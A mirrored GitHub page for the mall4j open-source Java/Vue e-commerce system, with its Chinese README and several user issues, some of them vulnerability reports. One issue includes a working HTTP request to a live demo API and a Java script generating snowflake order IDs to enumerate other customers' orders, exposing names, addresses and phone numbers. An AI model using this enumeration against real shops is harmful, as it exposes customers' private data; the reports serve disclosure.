GithubHelp home page GithubHelp logo

gz-yami / mall4j Goto Github PK

View Code? Open in Web Editor NEW
4.4K 237.0 1.2K 16.08 MB

⭐️⭐️⭐️ 电商商城 小程序电商商城系统 PC商城 H5商城 APP商城 Java商城 O2O商城 跨境商城

Home Page: https://www.mall4j.com

License: GNU Affero General Public License v3.0

Java 40.35% Dockerfile 0.06% JavaScript 23.53% HTML 0.07% Vue 29.06% CSS 0.14% SCSS 6.78%
java uniapp springboot3 vue3 jdk17

mall4j's Introduction

输入图片说明 Mall4j开源商城,一个基于spring boot、spring oauth2.0、mybatis、redis的轻量级、前后端分离、防范xss攻击、拥有分布式锁,为生产环境多实例完全准备,数据库为b2b2c设计,拥有完整sku和下单流程的开源商城

Spring以及VUE官方宣布,SpringBoot2与Vue2已在2023年底停止维护。新项目建议使用SpringBoot3+Vue3的组合,本商城已完成升级!!!

前言

Mall4j商城系统致力于为中小企业打造一个完整、易于维护的开源的电商商城系统,采用现阶段流行技术实现。后台管理系统包含商品管理、订单管理、运费模板、规格管理、会员管理、运营管理、内容管理、统计报表、权限管理、设置等模块。开源版本商城属于B2C单商户商城系统,不含营销活动,如需更多模式的商城请查看Mall4j商城官网

商城文档

这代码有没有文档呀? 当然有啦,你已经下载了,在doc这个文件夹上,实在不知道,我就给链接出来咯:

gitee:https://gitee.com/gz-yami/mall4j/tree/master/doc

看云:https://www.kancloud.cn/yami/mall4j

开发环境搭建视频(推荐先看下文档再看视频):https://www.bilibili.com/video/BV1eW4y1V7c1

有声音了。如果视频对你有用,记得点赞投币噢。

商城授权

除了开源版本,我们商业版有B2C商城、B2B2C商城、O2O商城、S2B2C商城、SAAS商城,多端呈现:小程序 + PC + H5 + APP,更多详情请查看官网

Mall4j商城官网 https://www.mall4j.com

Mall4j商城开源版 使用 AGPLv3 开源,请遵守 AGPLv3 的相关条款,或者联系作者获取商业授权(https://www.mall4j.com)

项目链接

java后台:https://gitee.com/gz-yami/mall4j

vue后台前端:https://gitee.com/gz-yami/mall4v

小程序:https://gitee.com/gz-yami/mall4m

uni-app:https://gitee.com/gz-yami/mall4uni

商城演示地址

商业版商城小程序演示

输入图片说明

商城技术选型

技术 版本 说明
Spring Boot 3.0.4 MVC核心框架
Spring Security web 3.0.4 web应用安全防护
satoken 1.34.0 一个轻量级 Java 权限认证框架,取代spring oauth2
MyBatis 3.5.10 ORM框架
MyBatisPlus 3.5.3.1 基于mybatis,使用lambda表达式的
spring-doc 2.0.0 接口文档工具
jakarta-validation 3.0.2 验证框架
redisson 3.19.3 对redis进行封装、集成分布式锁等
hikari 5.0.1 数据库连接池
logback 1.4.5 log日志工具
lombok 1.18.26 简化对象封装工具
hutool 5.8.15 更适合国人的java工具集
knife4j 4.0.0 基于swagger,更便于国人使用的swagger ui

通过阿里的代码规范扫描工具(Alibaba Java Coding Guidelines plugin),扫描无异常:

规约扫描结果

部署教程

ps: 如果你不清楚如何启动我们的商城,请仔细阅wiki当中的文档

https://gitee.com/gz-yami/mall4j/wikis

开发环境搭建视频(推荐先看下文档再看视频):https://www.bilibili.com/video/BV1eW4y1V7c1

有声音了。如果视频对你有用,记得点赞投币噢。

相关截图

1. 后台截图

商城后台

2. 移动端截图

输入图片说明

提交反馈

  • Mall4j商城官网 https://www.mall4j.com

  • Mall4j商城官方技术QQ 1群:722835385(3000人群已满)

  • Mall4j商城官方技术QQ 2群:729888395

  • 如需购买商城商业版源码,请联系商务微信

    输入图片说明

特别鸣谢

mall4cloud微服务商城版本已上线

https://gitee.com/gz-yami/mall4cloud

更多信息请查看Mall4j商城官网 https://www.mall4j.com

mall4j's People

Contributors

412102420ts avatar brother-dragon avatar frozenwatermelon avatar gz-yami avatar huang-ming avatar lzk50136 avatar opgithub avatar oursil avatar wcxgit avatar yoona-lin avatar youngdjean avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

mall4j's Issues

开源

你好 库里能看到的这个版本的开源代码 是可以免费商用的吗

[security vulnerability] Arbitrary Product Detail Access Vulnerability

Recently, our team found an arbitrary product detail access vulnerability in the latest version of the project.
The vulnerability logic is present in the file:
https://github.com/gz-yami/mall4j/blob/master/yami-shop-api/src/main/java/com/yami/shop/api/controller/ProdController.java#L72

image

There is an absence of ownership validation for the prodId parameter when querying product details through the skuService.listByProdId(), which does not consistent with the implementation at
https://github.com/gz-yami/mall4j/blob/master/yami-shop-admin/src/main/java/com/yami/shop/admin/controller/ProductController.java#L87, potentially compromising privacy data.

In the latter implementation, ownership is checked using the @PreAuthorize annotation and by evaluating Object.equals(prod.getShopId(), SecurityUtils.getSysUser().getShopId()) prior to executing similar operations. We recommend that developers add the same access control policy for @GetMapping("/prodInfo") API if necessary.

image

Lack of Backend Validation for Uploaded Image Size and Type

Lack proper validation for uploaded image files in the backend.
While there is validation in the frontend component "index.vue," it is crucial to perform server-side validation as well. This vulnerability allows attackers to upload files of any type and size, potentially leading to XSS attacks or resource exhaustion, which can result in DDoS attacks.

Two interfaces are affected:

    1. "/upload/element" com.yami.shop.admin.controller.FileController.uploadElementFile
    1. "/upload/element" com.yami.shop.admin.controller.FileController.uploadTinymceEditorImages

It is recommended to implement server-side validation for uploaded image files in String com.yami.shop.service.impl.AttachFileServiceImpl.uploadFile(MultipartFile file) . This includes checking the file size and verifying that the file type is allowed (e.g., image/jpeg, image/png). By implementing these validations in the backend, you can prevent the upload of malicious files, mitigate the risk of XSS attacks, and prevent resource consumption that could lead to DDoS attacks.
image

vue项目报错

我贴个重要日志, node-sass安装失败。百度说是要py3的支持?

gyp ERR! stack Error: Can't find Python executable "python", you can set the PYTHON env variable.

gyp ERR! cwd C:\Users\yikong\Desktop\mall4v-master\node_modules\node-sass
gyp ERR! node -v v14.15.4
gyp ERR! node-gyp -v v3.8.0
gyp ERR! not ok

npm ERR! [email protected] postinstall: `node scripts/build.js`
npm ERR! Exit status 1

There is a insecure permission vulnerability that can lead to information Disclosure

After the user logged in, send the following data:
GET /p/order/getOrderPayInfoByOrderNumber?orderNumbers=1585796527123730432 HTTP/2 Host: b2b2c-api.mall4j.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: application/json, text/plain, */* Accept-Language: zh Accept-Encoding: gzip, deflate Authorization: iqype7HZzm8WwlUnYTIRmXVBsfZ2Udqs+7wO+RAQLOB61CG1vjV6U+sArYkZPG8Q Origin: https://pc.mall4j.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Te: trailers Connection: close
The user can input others orderNumbers to gain other Privacy Information including address,name,phonenumber and so on.
I write a script can get orderNumbers,attacker can get order's information that was created in any day.

Script:
`
import cn.hutool.core.date.SystemClock;
import cn.hutool.core.util.IdUtil;
import cn.hutool.core.util.StrUtil;

import java.io.*;
import java.util.Date;

public class test implements Serializable {
public static void main(String[] args) throws IOException {
FileWriter f = new FileWriter("/mall4j-master/1.txt");
FileOutputStream out = null;
for (long i = 1666884749000l; i <= 1666884750000l; i++) {
for (long j = 31l; j <= 31l; j++) {
test test1 = new test(1,1);
// out = new FileOutputStream(new File("/Users/zhangchenxu/安全/代码审计靶场/mall4j-master/1.txt"));

            String str = String.valueOf(test1.nextId(i));
            System.out.println(str);
            f.write(str + "\n");
        }
    }

  //  System.out.println(test1.nextId(1666885538000l));

    f.close();



}
private static final long serialVersionUID = 1L;



public static long DEFAULT_TWEPOCH = 1288834974657L;

public static long DEFAULT_TIME_OFFSET = 2000L;

private static final long WORKER_ID_BITS = 5L;

private static final long MAX_WORKER_ID = -1L ^ (-1L << WORKER_ID_BITS);
private static final long DATA_CENTER_ID_BITS = 5L;

private static final long MAX_DATA_CENTER_ID = -1L ^ (-1L << DATA_CENTER_ID_BITS);

private static final long SEQUENCE_BITS = 12L;

private static final long WORKER_ID_SHIFT = SEQUENCE_BITS;

private static final long DATA_CENTER_ID_SHIFT = SEQUENCE_BITS + WORKER_ID_BITS;

private static final long TIMESTAMP_LEFT_SHIFT = SEQUENCE_BITS + WORKER_ID_BITS + DATA_CENTER_ID_BITS;


private static final long SEQUENCE_MASK = ~(-1L << SEQUENCE_BITS);// 4095

private  long twepoch;
private  long workerId;
private  long dataCenterId;
private  boolean useSystemClock;

private  long timeOffset;

private long sequence = 0L;
private long lastTimestamp = -1L;


public test() {
    this(IdUtil.getWorkerId(IdUtil.getDataCenterId(MAX_DATA_CENTER_ID), MAX_WORKER_ID));
}


public test(long workerId) {
    this(workerId, IdUtil.getDataCenterId(MAX_DATA_CENTER_ID));
}


public test(long workerId, long dataCenterId) {
    this(workerId, dataCenterId, false);
}


public test(long workerId, long dataCenterId, boolean isUseSystemClock) {
    this(null, workerId, dataCenterId, isUseSystemClock);
}


public test(Date epochDate, long workerId, long dataCenterId, boolean isUseSystemClock) {
    this(epochDate, workerId, dataCenterId, isUseSystemClock, DEFAULT_TIME_OFFSET);
}


public test(Date epochDate, long workerId, long dataCenterId, boolean isUseSystemClock, long timeOffset) {
    if (null != epochDate) {
        this.twepoch = epochDate.getTime();
        System.out.println("null != epochDate");
    } else{
        // Thu, 04 Nov 2010 01:42:54 GMT
        this.twepoch = DEFAULT_TWEPOCH;
    }
    if (workerId > MAX_WORKER_ID || workerId < 0) {
        throw new IllegalArgumentException(StrUtil.format("worker Id can't be greater than {} or less than 0", MAX_WORKER_ID));
    }
    if (dataCenterId > MAX_DATA_CENTER_ID || dataCenterId < 0) {
        throw new IllegalArgumentException(StrUtil.format("datacenter Id can't be greater than {} or less than 0", MAX_DATA_CENTER_ID));
    }
    this.workerId = workerId;
    this.dataCenterId = dataCenterId;
    this.useSystemClock = isUseSystemClock;
    this.timeOffset = timeOffset;
}


public long getWorkerId(long id) {
    return id >> WORKER_ID_SHIFT & ~(-1L << WORKER_ID_BITS);
}

public long getDataCenterId(long id) {
    return id >> DATA_CENTER_ID_SHIFT & ~(-1L << DATA_CENTER_ID_BITS);
}

public long getGenerateDateTime(long id) {
    return (id >> TIMESTAMP_LEFT_SHIFT & ~(-1L << 41L)) + twepoch;
}


public synchronized long nextId(long time0) {

    long timestamp = time0;
    if (timestamp < this.lastTimestamp) {
        if(this.lastTimestamp - timestamp < timeOffset){
            // 容忍指定的回拨,避免NTP校时造成的异常
            timestamp = lastTimestamp;
        } else{
            // 如果服务器时间有问题(时钟后退) 报错。
            throw new IllegalStateException(StrUtil.format("Clock moved backwards. Refusing to generate id for {}ms", lastTimestamp - timestamp));
        }
    }

    if (timestamp == this.lastTimestamp) {
        final long sequence = (this.sequence + 1) & SEQUENCE_MASK;
        if (sequence == 0) {
            timestamp = tilNextMillis(lastTimestamp,time0);
        }
        this.sequence = sequence;
    } else {
        sequence = 0L;
    }

    lastTimestamp = timestamp;

    long result = ((timestamp - twepoch) << TIMESTAMP_LEFT_SHIFT)
            | (dataCenterId << DATA_CENTER_ID_SHIFT)
            | (workerId << WORKER_ID_SHIFT)
            | sequence;


    return result;
}


public String nextIdStr() {
   // return Long.toString(nextId());
    return null;
}

// ------------------------------------------------------------------------------------------------------------------------------------ Private method start


private long tilNextMillis(long lastTimestamp,long time0) {
    long timestamp = time0;
   
    while (timestamp == lastTimestamp) {
        timestamp = time0;
    }
    if (timestamp < lastTimestamp) {
        // 如果发现新的时间戳比上次记录的时间戳数值小,说明操作系统时间发生了倒退,报错
        throw new IllegalStateException(
                StrUtil.format("Clock moved backwards. Refusing to generate id for {}ms", lastTimestamp - timestamp));
    }
    return timestamp;
}

private long genTime() {
    return this.useSystemClock ? SystemClock.now() : System.currentTimeMillis();
}
// ------------------------------------------------------------------------------------------------------------------------------------ Private method end

}
`

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.